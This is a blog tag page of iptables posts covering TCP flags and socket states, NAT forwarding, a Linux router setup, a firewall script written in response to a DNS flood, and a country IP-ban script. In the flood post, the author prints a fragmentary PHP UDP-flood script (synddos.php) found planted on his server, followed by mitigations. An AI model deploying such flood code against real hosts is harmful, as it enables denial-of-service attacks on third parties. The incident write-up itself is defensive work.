Posts Tagged ‘iptables’

tcp flags explanation in details – SYN ACK FIN RST URG PSH and iptables for sync flood

October 11th, 2013 No comments

This is from wikipedia:

To establish a connection, TCP uses a three-way handshake. Before a client attempts to connect with a server, the server must first bind to and listen at a port to open it up for connections: this is called a passive open. Once the passive open is established, a client may initiate an active open. To establish a connection, the three-way (or 3-step) handshake occurs:

  1. SYN: The active open is performed by the client sending a SYN to the server. The client sets the segment's sequence number to a random value A.
  2. SYN-ACK: In response, the server replies with a SYN-ACK. The acknowledgment number is set to one more than the received sequence number i.e. A+1, and the sequence number that the server chooses for the packet is another random number, B.
  3. ACK: Finally, the client sends an ACK back to the server. The sequence number is set to the received acknowledgement value i.e. A+1, and the acknowledgement number is set to one more than the received sequence number i.e. B+1.

At this point, both the client and server have received an acknowledgment of the connection. The steps 1, 2 establish the connection parameter (sequence number) for one direction and it is acknowledged. The steps 2, 3 establish the connection parameter (sequence number) for the other direction and it is acknowledged. With these, a full-duplex communication is established.

You can read pdf document here

H3C's implementations of sync flood solution

Using iptables to resolve sync flood issue and

You may also consider using tcpkill to kill half open sessions(using ss -s/netstat -s<SYN_RECV>/tcptrack to see connection summary)

Output from netstat -atun:

The reason for waiting is that packets may arrive out of order or be retransmitted after the connection has been closed. CLOSE_WAIT indicates that the other side of the connection has closed the connection. TIME_WAIT indicates that this side has closed the connection. The connection is being kept around so that any delayed packets can be matched to the connection and handled appropriately.

more on about FIN_wait (one error: 2MSL<Maximum Segment Lifetime>=120s, not 2ms)

All about tcp socket states:

And here's more about tcp connection(internet socket) states:

NAT forwarding for ssh and vncviewer

July 11th, 2013 No comments

-A PREROUTING -p tcp --dport 5911 -d -j DNAT --to-destination #now ssh <ip of eth0,> -p 5911 is going to visit
-A PREROUTING -p tcp --dport 222 -d -j DNAT --to-destination #now ssh <ip of eth0,> -p 222 is going to visit
-A POSTROUTING -o eth0 -j MASQUERADE #if eth0 is private ip, you can also do a NAT with one public ip.

:INPUT ACCEPT [247:16364]
:FORWARD ACCEPT [163:13692]
:OUTPUT ACCEPT [228:18664]

configure linux as a router firewall through iptables NAT

June 25th, 2013 No comments
  • On the linux box that will act as router:

1.Turn on ip_forward:

vi /etc/sysctl.conf

net.ipv4.ip_forward = 1

sysctl -p

2.Edit /etc/sysconfig/iptables:

-A POSTROUTING -o eth1 -j MASQUERADE #eth1 is the NIC connecting to outside network

#-A POSTROUTING -s -o eth0 -j MASQUERADE  #allow to do NAT


3.Reload iptables:

[root@Router ~]# service iptables restart
Flushing firewall rules: [ OK ]
Setting chains to policy ACCEPT: filter nat [ OK ]
Unloading iptables modules: [ OK ]
Applying iptables firewall rules: [ OK ]
Loading additional iptables modules: ip_conntrack_netbios_n[ OK ]

[root@Router ~]# iptables -t nat -nL
target prot opt source destination

target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
[root@Router ~]# iptables -t filter -nL
Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

On the linux box that will act as client:

1.Set default gateway to the ip address of linux router:

vi /etc/sysconfig/network


GATEWAY= #this is ip address of the linux router


2.restart network


On router, the default gateway is:         UG        0 0          0 eth1

And on the linux client, we'll now be able to connect to outside network too:

[root@client ~]# ping
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=254 time=0.236 ms


  1. You can also make linux as firewall using NAT/iptables, more on this article:
  2. About the numbers in brackets, you can refer to the following:
  3. You should turn on promiscuous mode before applying the configs in this article. If you're using Vsphere Esxi, this is the step:


resolved – port 53 dns flooding attack

April 13th, 2012 No comments

I found this port 53 dns flooding attack when the server became very unsteady. NIC was blipping and networking just went down without OS rebooting.

Using ntop as detector, I found the issue with DNS traffic was at a very high level(about 3Gb traffic). Then I determined to forbid DNS traffic, and only allow some usual ports.

  • Disable autoboot of iptables in case there's something wrong with iptables

mv /etc/rc3.d/S08iptables /etc/rc3.d/s08iptables

  • here's the rules

[root@doxer ~]# cat

iptables -F

#Note that DROP is different than REJECT. REJECT will return error to client(telnet will return Connection refused from client), but DROP will just drop the packet(telnet will hang Trying and return Connection timed out).
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

#todo - allow no more than 5 new connections per second
#iptables -A INPUT -p tcp --syn -m limit --limit 5/s -i eth0 -j ACCEPT

# Allow traffic already established to continue
iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p all -m state --state INVALID -j DROP

#Allow ftp, http, mysql
#todo - if there's no -m, than --dport or --sport must be in a range
#todo - --ports source and destination ports are assumed to be the same
iptables -A INPUT -p tcp -m multiport --dport 20,21,80,3306 -j ACCEPT
iptables -A OUTPUT -p tcp -m multiport --sport 20,21,80,3000,3306 -j ACCEPT

#Allow outgoing httpd like telnet doxer 80
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

#Allow ntop
iptables -A INPUT -p udp -m multiport --dport 3000 -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dport 3000 -j ACCEPT

#Allow sftp
iptables -A INPUT -p tcp --dport 115 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 115 -j ACCEPT

#Allow outgoing ssh
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --sport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT

#allow rsync
iptables -A OUTPUT -p tcp --dport 873 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 873 -j ACCEPT
iptables -A INPUT -p tcp --sport 873 -j ACCEPT
iptables -A INPUT -p tcp --dport 873 -j ACCEPT

#allow ftp passive mode(you need set vsftpd first)
iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 35000:37000 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 35000:37000 -j ACCEPT

#Allow ping & nslookup. reply is 8, request is 0
#allow other hosts to ping
iptables -A INPUT -p icmp --icmp-type 8 -m limit --limit 1/s -j ACCEPT
#iptables -A INPUT -p icmp --icmp-type 8 -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type 0 -j ACCEPT
#allow this host ping others
iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT

#allow dns query
#iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
#iptables -A INPUT -p udp --sport 53 -j ACCEPT
#iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT
#iptables -A INPUT -p tcp --sport 53 -j ACCEPT

# Allow local loopback services
iptables -A INPUT -i lo -j ACCEPT

#save and restart iptables
/etc/init.d/iptables save
/etc/init.d/iptables restart

  • run the rules

chmod +x ./ && ./

  • enable autoboot of iptables
If everything is ok, enable autoboot of iptables:
mv /etc/rc3.d/s08iptables /etc/rc3.d/S08iptables

After all these steps, dns traffic now dropped to normal status.


After several days' investigation, I finally found out that this attack was source from some worms(php worms?) embedded in dedecms's directory. Here's one file called synddos.php:

$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_REQUEST['time'];
$Sendlen = 65535;
$packets = 0;

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
echo "Warning to: opening";

$out .= "A";

$max_time = time()+$exec_time;

if(time() > $max_time){
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
fwrite($fp, $out);

echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";

This is crazy! That explains the reason why there was so much DNS traffic out!

To cure this weakness:

1.disable fsockopen function in php.ini

disable_functions = fsockopen .htaccess file, limit php scripts from running

RewriteEngine on
RewriteCond % !^$
RewriteRule uploads/(.*).(php)$ - [F]
RewriteRule data/(.*).(php)$ - [F]
RewriteRule templets/(.*).(php)$ - [F]

ban specific country’s ip address from visiting sites

September 11th, 2010 No comments

To drop ip addresses that has 20 and more concurrent requests:
banips=`netstat -an| grep :80 | grep -v |grep -v |awk '{ print $5 }' | sort|awk -F: '{print $1}' | uniq -c | awk '$1 >20 {print $2}'`
for ip in $banips
iptables -A INPUT -s $ip -j DROP
Ban specific country's ip address:
# Block traffic from a specific country
# written by
#modified by

bandir="/root/banips" #put .zone files under /root/banips/,later comes the .zone files link
[ ! -d $bandir] && mkdir -p $bandir && echo "put .zone file in $bandir" && exit 0
IPTABLES = /sbin/iptables

if [ "$(id -u)" != "0" ]; then
echo "you must be root" 1>&2
exit 1

resetrules() {
$IPTABLES -t nat -F
$IPTABLES -t mangle -F


zonelists=`ls /root/banips/`
for COUNTRY in $zonelists
for ip in $IPS
echo "blocking $ip"
exit 0
Country-region ip ranges: